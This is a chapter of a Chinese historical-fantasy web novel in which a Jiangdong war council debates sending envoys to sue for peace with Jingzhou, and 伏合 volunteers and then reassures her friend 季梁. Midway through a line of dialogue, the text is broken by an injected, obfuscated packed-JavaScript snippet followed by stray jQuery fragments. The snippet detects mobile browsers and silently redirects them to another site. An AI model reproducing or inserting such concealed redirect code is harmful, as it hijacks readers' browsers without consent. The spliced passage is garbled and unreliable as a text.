默认冷灰
24号文字
方正启体

43. 友人

作者:任尔狂风本书字数:K更新时间:
    正说着,二人走进主堂,季梁扫了一眼堂下众人,发现除了项协和几个江东将领坐着争论,末席上的梁妙女一身镂金错彩,正百无聊赖。公孙舫则在她身后坐着。


    太初道来这里做什么?


    他一皱眉,跟伏合在窗边坐下。


    项协手边放着舆图,拧眉道:“蒋攸你吵吵什么?现在是议事,把你那点土匪脾气收起来,敢打架就按军法,去外面受杖。”


    蒋攸朝魏集飞快地一拱手,梗着脖子:“末将不敢和老将军争。我也没想打架,我有这力气,只会用来打荆州兵,怎么可能用来打自家人!”


    “你!——”


    一边的魏集听出蒋攸是挤兑自己不想打外人却和他们过不去,一时气得直抽抽。


    老叟捂住瞎了的左眼,虚指着蒋攸,怒道:“难道打仗就靠你这蛮子的一身蛮力就可以了!?兵怎么办,粮怎么办,今年打下去了明年又怎么办?江东大旱,现在前线又迟迟不进,要是接下来还是不利,冬天就会又死人又缺粮。”


    魏集情绪激动,伏合看他面红耳赤,怕他下一秒就背过气去:“难道我们过了今年,明年就都不过了吗!州牧,老臣可以被一个后来的蛮子骂,可这是你父亲的基业,我们不得不慎啊!”


    魏集说到最后已经朝上首弯腰拜下,项协立刻走下去把这位老将扶起,劝慰过后又转头冷道:“蒋攸!”


    蒋攸干脆利落地稽首一礼,抬起头却鸡贼地看向项协和魏集之间,不说他拜的到底是谁。


    “攸无礼,向州牧、魏将军赔罪!”他直起身,一颗大脑袋晃了晃,“遇到少将军之前我就是个绺贼,粗鄙不识字,但我知道人善就要被欺负,江东就像块揣在怀里的玉,我们不把荆州兵打怕了,回头沮奉就要打上门来硬抢。末将这是担心以后的江东!”


    周围的几个将领互相看了看,伏合与季梁也对视了一眼。


    谁都看得出项协虽然敬重魏集,但还是坚持主张继续打的。但眼下的问题是,前线现在一直僵持着,魏集说的粮和人问题也都是真的。


    蒋攸已经拜谢了,魏集也不好说什么,项协摆摆手,沉声道:“你们都有顾虑,我都知道。我先说我的想法,如果强攻,我有六成的把握打下江夏。兵,有季梁在彭蠡泽上的水师,粮,陆元任那里说可以保证到明年二月充足。”


    他环视一圈,道:“魏将军想要徐徐图之,我假设暂退可以保证今年江东没有流民,可喂饱了百姓,你怎么担保沮奉今年不会主动来犯?届时我们无粮,还有什么以后可以徐徐图之?”


    魏集急道:“可还有四成——”


    “州牧,小人有计要献。”


    伏合一惊,猛地看向末席的梁妙女。


    妙女起身一拜,恭敬道:“小人以为,能不能继续打下去,州牧先以议和为名派人试探一回,便能知道了。”


    屋内安静了片刻,项协开口:“这是代姬教你说的?”


    公孙舫面露焦急,正要起身,梁妙女却诶了一声,连忙摆手:“不是不是,贵人误会了,我求师尊让我跟来柴桑真的只是为了探亲,没别的心思!”


    季梁以目光示意伏合,却见她神色淡淡。


    项协背着手往上首走,道:“说下去。”


    梁妙女察言观色,揣测现在应该到她站起来的时机了,道:“小人愚钝,听各位贵人说的都有道理,那不如就取折中的法子,先和谈,试探一下荆州的态度再说。和谈最多五日,于江东说,也不损失什么嘛。”


    魏集在短暂的沉默之后缓缓抬起手,道:“这位……”


    他顿了一下,显然是不知道怎么称呼太初道的人,便咳嗽了一声:“这位使君,虽然不是我们江东人,但站在我们之外,看得也更清楚些。老夫赞成。”


    一旁的蒋攸正莫名其妙,回头却瞧见项协转过身,面对众人,道:“好,可以。那人选呢,派谁去谈?”


    季梁一直默然旁观,这会儿刚要开口,梁妙女却抢先快道:“小人正合适。”


    “太初道本出自荆州南郡,熟悉荆州,小人曾见过那个沮奉,也算有些了解。不过小人嘴笨,也不太懂各位将军的大略,如果州牧肯割爱其中哪位前辈,与小人一起出使,那就再好不过了!”


    季梁皱了皱眉,忽然瞥见身边的伏合身子一动。


    伏合一笑,淡淡道:“梁校尉是在说我呀?”


    “好,我愿意。”


    席间众人或惊疑或困惑的眼神穿过竹帘,从不同的方向落到她的身上。


    伏合展袖起身,转向上首,听项协道:“你二人留下,其他人先出去。”


    季梁霍然起身,沉声道:“伏参军经验尚浅,况且她兄长还在前线……”


    “你是伏氏的后生?”魏集忽然转过身,眯起完好的左眼看伏合。


    他笑呵呵地拍了拍伏合的肩,道:“难怪这么有胆量!伏氏人才济济,一个伏士辽就够有出息了,今天才知道伏氏竟然还有这样一个出色的后辈,不愧是一家子兄弟。后生,要是你能谈成议和,就连老夫也要亲自谢你啊。”


    伏合立时明白过来老叟这是误会了,她身上穿着为了看田方便的窄袖胡服,所以魏集把她当成了男子。


    她只笑了笑,谦逊道:“蒙老将军抬爱,晚辈只能尽力而为。”


    另一边季梁直接过去找项协说话,二人低语交换几句之后项协道:“你说的我都知道。去吧。”


    季梁抿唇,深深看了一眼伏合,跟在众人最后,合上门走了出去。


    正堂里还剩下伏合、项协,和梁妙女。


    公孙舫虽然担忧,也被梁妙女推出了门。


    项协指指蒲团,道:“坐。”


    “现在可以说了没?代姬为什么要叫你说这番话?”项协姿态随意,手里把玩着一把错金银的匕首,眼睛却一直盯着梁妙女。


    妙女下意识看了一眼伏合,见她没有说话的意思,赔笑道:“州牧,这话我听不懂呀……”


    “咔哒”一声,项协手里的刀鞘甩开半截,把妙女后面的话噎了进去。


    她苦着脸,这才道:“州牧,小人没想骗您,但是小人的师尊是玄女,只传达天意,她得到谶言,预见现在到了江东和荆州和谈的时机,命小人告诉州牧。但……”


    “但你知道江东不信方士这一套,直接说出来怕被厌弃,”伏合接过话,看了她一眼。


    “所以听完了刚才两派之争之后讨了巧,不提谶纬,而是用利益来缓缓托出自己的见解。不过效果么,只能算是折了个半,代姬的谶纬说的是真正的和谈,但你达成的,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432892|197238||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是对荆州的一次试探而已。”


    妙女讪讪的,讨好看向伏合。


    伏合看向她:“带上我,也是代姬的谶言说的?”


    妙女纠结了一番,期期艾艾道:“……我刚刚说的那些理由都是真的,我一个小女子,哪有胆子独自面对沮奉那种疯子,但我知道贵人一向有办法,再者我与贵人是旧相识,自然……”


    项协不看她,而是看向伏合,道:“合妹,你怎么看?”


    伏合道:“派人去寻阳,叫代姬过来问话。——不过,我也认为,我是最适合去和谈的人。”


    她慢慢道:“我来江东不久,沮奉不了解我,就更可能轻慢,也就越有可能探到荆州的底细。再者,如果换成军将去,也要提防他会不会借机把人扣留。”


    项协哈哈大笑:“他们不信你,可我就知道你一定敢。”


    他站起身,叫外面的守卫进来,立刻命人去寻阳找代姬。


    伏合走出门,沿着廊下往后院过去。院中植树,蝉鸣震天,一墙的槅门在树荫下从这里延伸到前面。


    她忽然停下脚步,道:“季梁,你是不是不高兴?”


    过了一会儿,其中一面窗打开,季梁的眼睛在摇动的树枝下明明灭灭,他沉默地看了她一眼,开口:“跟我来。”


    他带着她穿过走廊,绕过一个小院,往衙署的西北角去,那儿有个一片小湖,湖水背阴,冬天嫌冷,夏天的日头却晒不到湖边的亭子,湖面较亭子地势稍低,好像一弯腰就能碰到清凉的水面。


    伏合有些惊讶。


    “带我到这儿做什么?我以为你要问我话呢。”


    季梁:“这里凉快,能静心。”


    一阵风吹过,伏合的衣袖轻动,她摸了摸自己的脸,道:“我不是头脑发热,其实你也知道,我是适合去的不是么。”


    “可你还是不把自己当回事。”季梁低头看着她,语气很平静,他的情绪并不冲动,可伏合就是能感觉到,季梁一定是不高兴了。


    她顿了顿道:“季梁,难道你每一次上战场,都会觉得是没把自己当回事吗?”


    季梁立刻皱眉道:“这不是一回事,你不要扯开话题。”


    “不,我说真的。”伏合笃定道,“你是我的朋友,我知道你担心我,就像之前我听说你带着火船,去烧柴桑的荆州船的时候,我作为朋友,也担心你会不会受伤。”


    季梁猛地一震。他立刻想起那次楼阁下伏合对他的打量,心中一动的同时,马上就想反驳,他们的心情完全是不一样的。


    但伏合接着道:“你作为朋友可以担心我,可作为共事的僚属,你也该信任我。在其位,谋其事,既然我适合去,而且也想去,那我便去了,这就是理由。”


    她觉得说得差不多,季梁也似乎颇为触动的样子,松了口气,站起来轻快地拍了拍他的肩,笑道:“不过说起来,我也想问你帮忙。”


    季梁眼神复杂,哑声问:“……什么?”


    “你和沮奉交手过吗?他认得你吗?”


    季梁:“我一直从属于丹徒营,以前防御荆州的都是项公和他的老部将,荆州兵应该不认识我。”


    “那就好。”伏合笑起来,“别人护送我不放心,我去跟伯共说,当天我想要你带兵护卫我。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)